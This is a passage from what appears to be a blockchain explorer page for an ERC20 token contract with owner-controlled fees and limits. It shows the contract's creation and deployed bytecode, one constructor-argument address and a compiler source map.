019250505092915050565b6001600160a01b038116811461125a57600080fd5b50565b6000806040838503121561127057600080fd5b823561127b81611245565b946020939093013593505050565b60008060006060848603121561129e57600080fd5b83356112a981611245565b925060208401356112b981611245565b929592945050506040919091013590565b6000602082840312156112dc57600080fd5b81356103c081611245565b600080604083850312156112fa57600080fd5b823561130581611245565b9150602083013561131581611245565b809150509250929050565b600181811c9082168061133457607f821691505b60208210810361135457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156103565761035661138f565b808201808211156103565761035661138f565b80820281158282048414176103565761035661138f565b6000826113ff57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561142c57600080fd5b81516103c081611245565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114875784516001600160a01b031683529383019391830191600101611462565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206efaec677693b10cc9468d25cd47dbbc9b5949c12c17979e8b1e0d46139d19bb64736f6c63430008130033000000000000000000000000f35b831b3702f080ac80d084799d2bd68c5354c3

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b8063715018a6146101c4578063751039fc146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f491906111f7565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461125d565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506005545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004611289565b61035c565b34801561017857600080fd5b5060045460405160ff90911681526020016100f4565b34801561019a57600080fd5b5061013e6101a93660046112ca565b6001600160a01b031660009081526019602052604090205490565b3480156101d057600080fd5b506101d96103c7565b005b3480156101e757600080fd5b506101d9610444565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610497565b34801561023957600080fd5b5061011d61024836600461125d565b6104a6565b34801561025957600080fd5b5061013e6102683660046112e7565b6001600160a01b039182166000908152601a6020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101d96102ae3660046112ca565b6104b3565b6060600280546102c290611320565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90611320565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b600061035233848461059d565b5060015b92915050565b60006103698484846106c1565b506103bc84336103b7856040518060600160405280602881526020016114a9602891396001600160a01b038a166000908152601a60209081526040808320338452909152902054919061079c565b61059d565b5060015b9392505050565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f19061135a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016103f19061135a565b6005546008556007805460ff60b81b191690556000600c8190556014819055600e819055601655565b6060600380546102c290611320565b60006103bc3384846106c1565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016103f19061135a565b6001600160a01b0381166105425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b0382166106605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b038381166000818152601a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166107275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b0383166107895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b6107948484846107d6565b949350505050565b600081848411156107c05760405162461bcd60e51b81526004016103f191906111f7565b5060006107cd84866113a5565b95945050505050565b600754600090600160a01b900460ff16156107fd576107f6848484610826565b90506103c0565b61080884848461090c565b6108138484846109aa565b61081e848484610a7d565b5060016103c0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260199091529182205461087791849061079c565b6001600160a01b0380861660009081526019602052604080822093909355908516815220546108a69083610b9c565b6001600160a01b0380851660008181526019602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108fa9086815260200190565b60405180910390a35060019392505050565b6001600160a01b0383166000908152601d602052604090205460ff1615801561094e57506001600160a01b0382166000908152601d602052604090205460ff16155b156109a5576008548111156109a55760405162461bcd60e51b815260206004820181905260248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61782e60448201526064016103f1565b505050565b30600090815260196020526040812054600a5460075491929083101591600160a01b900460ff161580156109f657506001600160a01b0385166000908152601e602052604090205460ff165b8015610a0b5750600754600160a81b900460ff165b6001600160a01b0387166000908152601b60205260408120549192509060ff16158015610a395750600a5485115b9050828015610a455750815b8015610a4e5750805b15610a7457600754600160b01b900460ff1615610a6b57600a5493505b610a7484610bfb565b50505050505050565b6000610a8a848484610d12565b9050610a968382610d68565b6000610aa3858484610dd4565b9050610b0a81604051806040016040528060138152602001722130b630b731b29031b432b1b59032b93937b960691b81525060196000896001600160a01b03166001600160a01b031681526020019081526020016000205461079c9092919063ffffffff16565b6001600160a01b038087166000908152601960205260408082209390935590861681522054610b399083610b9c565b6001600160a01b0380861660008181526019602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b8d9086815260200190565b60405180910390a35050505050565b600080610ba983856113b8565b9050838110156103c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b6007805460ff60a01b1916600160a01b179055601254600f54600091610c3191600291610c2b9182908790610e1f565b90610ea1565b90506000610c3f8383610ee3565b9050610c4a81610f25565b600f544790600090610c6a90610c61906002610ea1565b60125490610ee3565b90506000610c8c6002610c2b84610c2b600f5488610e1f90919063ffffffff16565b90506000610ca983610c2b60115487610e1f90919063ffffffff16565b90506000610cc182610cbb8786610ee3565b90610ee3565b90508015610cdf57601754610cdf906001600160a01b03168261107f565b8115610cfb57601854610cfb906001600160a01b03168361107f565b50506007805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152601b602052604081205460ff1680610d5157506001600160a01b0383166000908152601b602052604090205460ff165b15610d5d5750806103c0565b6107f68484846110b5565b600754600160b81b900460ff168015610d9a57506001600160a01b0382166000908152601c602052604090205460ff16155b15610dd0576009546001600160a01b038316600090815260196020526040902054610dc59083610b9c565b1115610dd057600080fd5b5050565b600754600090600160b81b900460ff16158015610e0957506001600160a01b0384166000908152601b602052604090205460ff165b15610e18576107f68383610ee3565b50816103c0565b600082600003610e3157506000610356565b6000610e3d83856113cb565b905082610e4a85836113e2565b146103c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b60006103c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611149565b60006103c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061079c565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5a57610f5a611404565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd7919061141a565b81600181518110610fea57610fea611404565b6001600160a01b039283166020918202929092010152600654611010913091168461059d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611049908590600090869030904290600401611437565b600060405180830381600087803b15801561106357600080fd5b505af1158015611077573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156109a5573d6000803e3d6000fd5b6000806110c3858585611177565b9050801561113f57306000908152601960205260409020546110e59082610b9c565b30600081815260196020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111369085815260200190565b60405180910390a35b6107cd8382610ee3565b6000818361116a5760405162461bcd60e51b81526004016103f191906111f7565b5060006107cd84866113e2565b6001600160a01b0383166000908152601e602052604081205460ff16156111b2576107f66064610c2b600e5485610e1f90919063ffffffff16565b6001600160a01b0383166000908152601e602052604090205460ff16156111ed576107f66064610c2b60165485610e1f90919063ffffffff16565b5060009392505050565b600060208083528351808285015260005b8181101561122457858101830151858201604001528201611208565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461125a57600080fd5b50565b6000806040838503121561127057600080fd5b823561127b81611245565b946020939093013593505050565b60008060006060848603121561129e57600080fd5b83356112a981611245565b925060208401356112b981611245565b929592945050506040919091013590565b6000602082840312156112dc57600080fd5b81356103c081611245565b600080604083850312156112fa57600080fd5b823561130581611245565b9150602083013561131581611245565b809150509250929050565b600181811c9082168061133457607f821691505b60208210810361135457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156103565761035661138f565b808201808211156103565761035661138f565b80820281158282048414176103565761035661138f565b6000826113ff57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561142c57600080fd5b81516103c081611245565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114875784516001600160a01b031683529383019391830191600101611462565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206efaec677693b10cc9468d25cd47dbbc9b5949c12c17979e8b1e0d46139d19bb64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000f35b831b3702f080ac80d084799d2bd68c5354c3

-----Decoded View---------------
Arg [0] : address_ (address): 0xf35b831B3702F080AC80d084799D2bD68c5354C3

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f35b831b3702f080ac80d084799d2bd68c5354c3


Deployed Bytecode Sourcemap

4938:9843:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7500:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14617:161;;;;;;;;;;-1:-1:-1;14617:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;14617:161:0;1023:187:1;7777:95:0;;;;;;;;;;-1:-1:-1;7857:7:0;;7777:95;;;1361:25:1;;;1349:2;1334:18;7777:95:0;1215:177:1;8224:312:0;;;;;;;;;;-1:-1:-1;8224:312:0;;;;;:::i;:::-;;:::i;7686:83::-;;;;;;;;;;-1:-1:-1;7752:9:0;;7686:83;;7752:9;;;;2000:36:1;;1988:2;1973:18;7686:83:0;1858:184:1;8544:119:0;;;;;;;;;;-1:-1:-1;8544:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8637:18:0;8610:7;8637:18;;;:9;:18;;;;;;;8544:119;4531:148;;;;;;;;;;;;;:::i;:::-;;11457:224;;;;;;;;;;;;;:::i;4306:79::-;;;;;;;;;;-1:-1:-1;4344:7:0;4371:6;4306:79;;-1:-1:-1;;;;;4371:6:0;;;2445:51:1;;2433:2;2418:18;4306:79:0;2299:203:1;7591:87:0;;;;;;;;;;;;;:::i;11689:167::-;;;;;;;;;;-1:-1:-1;11689:167:0;;;;;:::i;:::-;;:::i;14467:142::-;;;;;;;;;;-1:-1:-1;14467:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;14575:17:0;;;14548:7;14575:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;14467:142;4687:244;;;;;;;;;;-1:-1:-1;4687:244:0;;;;;:::i;:::-;;:::i;7500:83::-;7537:13;7570:5;7563:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7500:83;:::o;14617:161::-;14692:4;14709:39;3682:10;14732:7;14741:6;14709:8;:39::i;:::-;-1:-1:-1;14766:4:0;14617:161;;;;;:::o;8224:312::-;8322:4;8339:36;8349:6;8357:9;8368:6;8339:9;:36::i;:::-;-1:-1:-1;8386:120:0;8395:6;3682:10;8417:88;8454:6;8417:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8417:18:0;;;;;;:10;:18;;;;;;;;3682:10;8417:32;;;;;;;;;;:36;:88::i;:::-;8386:8;:120::i;:::-;-1:-1:-1;8524:4:0;8224:312;;;;;;:::o;4531:148::-;4440:6;;-1:-1:-1;;;;;4440:6:0;3682:10;4440:22;4432:67;;;;-1:-1:-1;;;4432:67:0;;;;;;;:::i;:::-;;;;;;;;;4638:1:::1;4622:6:::0;;4601:40:::1;::::0;-1:-1:-1;;;;;4622:6:0;;::::1;::::0;4601:40:::1;::::0;4638:1;;4601:40:::1;4669:1;4652:19:::0;;-1:-1:-1;;;;;;4652:19:0::1;::::0;;4531:148::o;11457:224::-;4440:6;;-1:-1:-1;;;;;4440:6:0;3682:10;4440:22;4432:67;;;;-1:-1:-1;;;4432:67:0;;;;;;;:::i;:::-;11524:7:::1;::::0;11511:10:::1;:20:::0;11542:17:::1;:25:::0;;-1:-1:-1;;;;11542:25:0::1;::::0;;-1:-1:-1;11578:10:0::1;:14:::0;;;11603:11:::1;:15:::0;;;11629:12:::1;:16:::0;;;11656:13:::1;:17:::0;11457:224::o;7591:87::-;7630:13;7663:7;7656:14;;;;;:::i;11689:167::-;11767:4;11784:42;3682:10;11808:9;11819:6;11784:9;:42::i;4687:244::-;4440:6;;-1:-1:-1;;;;;4440:6:0;3682:10;4440:22;4432:67;;;;-1:-1:-1;;;4432:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4776:22:0;::::1;4768:73;;;::::0;-1:-1:-1;;;4768:73:0;;3848:2:1;4768:73:0::1;::::0;::::1;3830:21:1::0;3887:2;3867:18;;;3860:30;3926:34;3906:18;;;3899:62;-1:-1:-1;;;3977:18:1;;;3970:36;4023:19;;4768:73:0::1;3646:402:1::0;4768:73:0::1;4878:6;::::0;;4857:38:::1;::::0;-1:-1:-1;;;;;4857:38:0;;::::1;::::0;4878:6;::::1;::::0;4857:38:::1;::::0;::::1;4906:6;:17:::0;;-1:-1:-1;;;;;;4906:17:0::1;-1:-1:-1::0;;;;;4906:17:0;;;::::1;::::0;;;::::1;::::0;;4687:244::o;7880:336::-;-1:-1:-1;;;;;7973:19:0;;7965:68;;;;-1:-1:-1;;;7965:68:0;;4255:2:1;7965:68:0;;;4237:21:1;4294:2;4274:18;;;4267:30;4333:34;4313:18;;;4306:62;-1:-1:-1;;;4384:18:1;;;4377:34;4428:19;;7965:68:0;4053:400:1;7965:68:0;-1:-1:-1;;;;;8052:21:0;;8044:68;;;;-1:-1:-1;;;8044:68:0;;4660:2:1;8044:68:0;;;4642:21:1;4699:2;4679:18;;;4672:30;4738:34;4718:18;;;4711:62;-1:-1:-1;;;4789:18:1;;;4782:32;4831:19;;8044:68:0;4458:398:1;8044:68:0;-1:-1:-1;;;;;8125:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;8176:32;;1361:25:1;;;8176:32:0;;1334:18:1;8176:32:0;;;;;;;7880:336;;;:::o;11864:319::-;11951:4;-1:-1:-1;;;;;11976:20:0;;11968:70;;;;-1:-1:-1;;;11968:70:0;;5063:2:1;11968:70:0;;;5045:21:1;5102:2;5082:18;;;5075:30;5141:34;5121:18;;;5114:62;-1:-1:-1;;;5192:18:1;;;5185:35;5237:19;;11968:70:0;4861:401:1;11968:70:0;-1:-1:-1;;;;;12057:23:0;;12049:71;;;;-1:-1:-1;;;12049:71:0;;5469:2:1;12049:71:0;;;5451:21:1;5508:2;5488:18;;;5481:30;5547:34;5527:18;;;5520:62;-1:-1:-1;;;5598:18:1;;;5591:33;5641:19;;12049:71:0;5267:399:1;12049:71:0;12138:37;12149:6;12157:9;12168:6;12138:10;:37::i;:::-;12131:44;11864:319;-1:-1:-1;;;;11864:319:0:o;702:192::-;788:7;824:12;816:6;;;;808:29;;;;-1:-1:-1;;;808:29:0;;;;;;;;:::i;:::-;-1:-1:-1;848:9:0;860:5;864:1;860;:5;:::i;:::-;848:17;702:192;-1:-1:-1;;;;;702:192:0:o;8671:406::-;8781:10;;8760:4;;-1:-1:-1;;;8781:10:0;;;;8777:293;;;8815:37;8826:6;8834:9;8845:6;8815:10;:37::i;:::-;8808:44;;;;8777:293;8885:39;8898:6;8906:9;8917:6;8885:12;:39::i;:::-;8939:41;8954:6;8962:9;8973:6;8939:14;:41::i;:::-;8995:37;9006:6;9014:9;9025:6;8995:10;:37::i;:::-;-1:-1:-1;9054:4:0;9047:11;;12610:326;12736:53;;;;;;;;;;;-1:-1:-1;;;12736:53:0;;;;;;;;-1:-1:-1;;;;;12736:17:0;;12699:4;12736:17;;;:9;:17;;;;;;;:53;;12758:6;;12736:21;:53::i;:::-;-1:-1:-1;;;;;12716:17:0;;;;;;;:9;:17;;;;;;:73;;;;12823:20;;;;;;;:32;;12848:6;12823:24;:32::i;:::-;-1:-1:-1;;;;;12800:20:0;;;;;;;:9;:20;;;;;;;:55;;;;12871:35;;;;;;;;;;12899:6;1361:25:1;;1349:2;1334:18;;1215:177;12871:35:0;;;;;;;;-1:-1:-1;12924:4:0;12610:326;;;;;:::o;9208:246::-;-1:-1:-1;;;;;9311:17:0;;;;;;:9;:17;;;;;;;;9310:18;:43;;;;-1:-1:-1;;;;;;9333:20:0;;;;;;:9;:20;;;;;;;;9332:21;9310:43;9306:141;;;9388:10;;9378:6;:20;;9370:65;;;;-1:-1:-1;;;9370:65:0;;6138:2:1;9370:65:0;;;6120:21:1;;;6157:18;;;6150:30;6216:34;6196:18;;;6189:62;6268:18;;9370:65:0;5936:356:1;9370:65:0;9208:246;;;:::o;12944:533::-;13069:4;13030:18;8637;;;:9;:18;;;;;;13119:11;;13156:10;;8637:18;;13105:25;;;;;-1:-1:-1;;;13156:10:0;;;;13155:11;:24;;;;-1:-1:-1;;;;;;13170:9:0;;;;;;:5;:9;;;;;;;;13155:24;:39;;;;-1:-1:-1;13183:11:0;;-1:-1:-1;;;13183:11:0;;;;13155:39;-1:-1:-1;;;;;13223:21:0;;13205:14;13223:21;;;:15;:21;;;;;;13141:53;;-1:-1:-1;13205:14:0;13223:21;;13222:22;:46;;;;;13257:11;;13248:6;:20;13222:46;13205:63;;13283:11;:21;;;;;13298:6;13283:21;:34;;;;;13308:9;13283:34;13279:191;;;13338:18;;-1:-1:-1;;;13338:18:0;;;;13334:83;;;13390:11;;13377:24;;13334:83;13431:27;13447:10;13431:15;:27::i;:::-;13019:458;;;;12944:533;;;:::o;13968:491::-;14059:16;14078:36;14088:6;14096:9;14107:6;14078:9;:36::i;:::-;14059:55;;14125:37;14142:9;14153:8;14125:16;:37::i;:::-;14173:17;14193:39;14207:6;14215;14223:8;14193:13;:39::i;:::-;14173:59;;14275:55;14297:9;14275:55;;;;;;;;;;;;;-1:-1:-1;;;14275:55:0;;;:9;:17;14285:6;-1:-1:-1;;;;;14275:17:0;-1:-1:-1;;;;;14275:17:0;;;;;;;;;;;;;:21;;:55;;;;;:::i;:::-;-1:-1:-1;;;;;14255:17:0;;;;;;;:9;:17;;;;;;:75;;;;14364:20;;;;;;;:34;;14389:8;14364:24;:34::i;:::-;-1:-1:-1;;;;;14341:20:0;;;;;;;:9;:20;;;;;;;:57;;;;14414:37;;;;;;;;;;14442:8;1361:25:1;;1349:2;1334:18;;1215:177;14414:37:0;;;;;;;;14048:411;;13968:491;;;:::o;369:181::-;427:7;;459:5;463:1;459;:5;:::i;:::-;447:17;;488:1;483;:6;;475:46;;;;-1:-1:-1;;;475:46:0;;6629:2:1;475:46:0;;;6611:21:1;6668:2;6648:18;;;6641:30;6707:29;6687:18;;;6680:57;6754:18;;475:46:0;6427:351:1;10261:871:0;6269:10;:17;;-1:-1:-1;;;;6269:17:0;-1:-1:-1;;;6269:17:0;;;10390:9:::1;::::0;10373:11:::1;::::0;6269:17;;10357:50:::1;::::0;10405:1:::1;::::0;10357:43:::1;::::0;;;:11;;:15:::1;:28::i;:::-;:32:::0;::::1;:43::i;:50::-;10335:72:::0;-1:-1:-1;10418:20:0::1;10441:28;:11:::0;10335:72;10441:15:::1;:28::i;:::-;10418:51;;10482:30;10499:12;10482:16;:30::i;:::-;10609:11;::::0;10539:21:::1;::::0;10523:13:::1;::::0;10595:33:::1;::::0;10609:18:::1;::::0;10625:1:::1;10609:15;:18::i;:::-;10595:9;::::0;;:13:::1;:33::i;:::-;10573:55;;10641:27;10671:46;10715:1;10671:39;10698:11;10671:22;10681:11;;10671:5;:9;;:22;;;;:::i;:46::-;10641:76;;10728:29;10760:40;10788:11;10760:23;10770:12;;10760:5;:9;;:23;;;;:::i;:40::-;10728:72:::0;-1:-1:-1;10811:27:0::1;10841:57;10728:72:::0;10841:30:::1;:5:::0;10851:19;10841:9:::1;:30::i;:::-;:34:::0;::::1;:57::i;:::-;10811:87:::0;-1:-1:-1;10915:23:0;;10911:99:::1;;10965:11;::::0;10955:43:::1;::::0;-1:-1:-1;;;;;10965:11:0::1;10978:19:::0;10955:9:::1;:43::i;:::-;11026:25:::0;;11022:103:::1;;11078:11;::::0;11068:45:::1;::::0;-1:-1:-1;;;;;11078:11:0::1;11091:21:::0;11068:9:::1;:45::i;:::-;-1:-1:-1::0;;6309:10:0;:18;;-1:-1:-1;;;;6309:18:0;;;-1:-1:-1;;;;;;10261:871:0:o;9962:291::-;-1:-1:-1;;;;;10074:23:0;;10050:7;10074:23;;;:15;:23;;;;;;;;;:53;;-1:-1:-1;;;;;;10101:26:0;;;;;;:15;:26;;;;;;;;10074:53;10070:176;;;-1:-1:-1;10151:6:0;10144:13;;10070:176;10197:37;10208:6;10216:9;10227:6;10197:10;:37::i;9744:210::-;9827:17;;-1:-1:-1;;;9827:17:0;;;;:39;;;;-1:-1:-1;;;;;;9849:17:0;;;;;;:13;:17;;;;;;;;9848:18;9827:39;9823:124;;;9920:14;;-1:-1:-1;;;;;9891:13:0;;;;;;:9;:13;;;;;;:25;;9909:6;9891:17;:25::i;:::-;:43;;9883:52;;;;;;9744:210;;:::o;9462:274::-;9583:17;;9558:7;;-1:-1:-1;;;9583:17:0;;;;9582:18;:45;;;;-1:-1:-1;;;;;;9604:23:0;;;;;;:15;:23;;;;;;;;9582:45;9578:151;;;9651:20;:6;9662:8;9651:10;:20::i;9578:151::-;-1:-1:-1;9711:6:0;9704:13;;902:250;960:7;984:1;989;984:6;980:47;;-1:-1:-1;1014:1:0;1007:8;;980:47;1039:9;1051:5;1055:1;1051;:5;:::i;:::-;1039:17;-1:-1:-1;1084:1:0;1075:5;1079:1;1039:17;1075:5;:::i;:::-;:10;1067:56;;;;-1:-1:-1;;;1067:56:0;;7380:2:1;1067:56:0;;;7362:21:1;7419:2;7399:18;;;7392:30;7458:34;7438:18;;;7431:62;-1:-1:-1;;;7509:18:1;;;7502:31;7550:19;;1067:56:0;7178:397:1;1160:132:0;1218:7;1245:39;1249:1;1252;1245:39;;;;;;;;;;;;;;;;;:3;:39::i;558:136::-;616:7;643:43;647:1;650;643:43;;;;;;;;;;;;;;;;;:3;:43::i;13485:475::-;13575:16;;;13589:1;13575:16;;;;;;;;13551:21;;13575:16;;;;;;;;;;-1:-1:-1;13575:16:0;13551:40;;13620:4;13602;13607:1;13602:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13602:23:0;;;:7;;;;;;;;;;:23;;;;13646:15;;:22;;;-1:-1:-1;;;13646:22:0;;;;:15;;;;;:20;;:22;;;;;13602:7;;13646:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13636:4;13641:1;13636:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13636:32:0;;;:7;;;;;;;;;:32;13713:15;;13681:62;;13698:4;;13713:15;13731:11;13681:8;:62::i;:::-;13756:15;;:196;;-1:-1:-1;;;13756:196:0;;-1:-1:-1;;;;;13756:15:0;;;;:66;;:196;;13837:11;;13756:15;;13879:4;;13906;;13926:15;;13756:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13540:420;13485:475;:::o;9085:115::-;9166:26;;-1:-1:-1;;;;;9166:18:0;;;:26;;;;;9185:6;;9166:26;;;;9185:6;9166:18;:26;;;;;;;;;;;;;;;;;;;12191:374;12281:7;12301:11;12315:43;12331:6;12339:10;12351:6;12315:15;:43::i;:::-;12301:57;-1:-1:-1;12373:7:0;;12369:156;;12442:4;12424:24;;;;:9;:24;;;;;;:33;;12453:3;12424:28;:33::i;:::-;12415:4;12397:24;;;;:9;:24;;;;;;;:60;;;;12477:36;;-1:-1:-1;;;;;12477:36:0;;;;;;;12509:3;1361:25:1;;1349:2;1334:18;;1215:177;12477:36:0;;;;;;;;12369:156;12542:15;:6;12553:3;12542:10;:15::i;1300:189::-;1386:7;1421:12;1414:5;1406:28;;;;-1:-1:-1;;;1406:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1445:9:0;1457:5;1461:1;1457;:5;:::i;11140:309::-;-1:-1:-1;;;;;11254:11:0;;11230:7;11254:11;;;:5;:11;;;;;;;;11250:173;;;11289:33;11318:3;11289:24;11300:12;;11289:6;:10;;:24;;;;:::i;11250:173::-;-1:-1:-1;;;;;11344:9:0;;;;;;:5;:9;;;;;;;;11340:83;;;11377:34;11407:3;11377:25;11388:13;;11377:6;:10;;:25;;;;:::i;11340:83::-;-1:-1:-1;11440:1:0;11140:309;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:380::-;2979:1;2975:12;;;;3022;;;3043:61;;3097:4;3089:6;3085:17;3075:27;;3043:61;3150:2;3142:6;3139:14;3119:18;3116:38;3113:161;;3196:10;3191:3;3187:20;3184:1;3177:31;3231:4;3228:1;3221:15;3259:4;3256:1;3249:15;3113:161;;2900:380;;;:::o;3285:356::-;3487:2;3469:21;;;3506:18;;;3499:30;3565:34;3560:2;3545:18;;3538:62;3632:2;3617:18;;3285:356::o;5671:127::-;5732:10;5727:3;5723:20;5720:1;5713:31;5763:4;5760:1;5753:15;5787:4;5784:1;5777:15;5803:128;5870:9;;;5891:11;;;5888:37;;;5905:18;;:::i;6297:125::-;6362:9;;;6383:10;;;6380:36;;;6396:18;;:::i;6783:168::-;6856:9;;;6887;;6904:15;;;6898:22;;6884:37;6874:71;;6925:18;;:::i;6956:217::-;6996:1;7022;7012:132;;7066:10;7061:3;7057:20;7054:1;7047:31;7101:4;7098:1;7091:15;7129:4;7126:1;7119:15;7012:132;-1:-1:-1;7158:9:1;;6956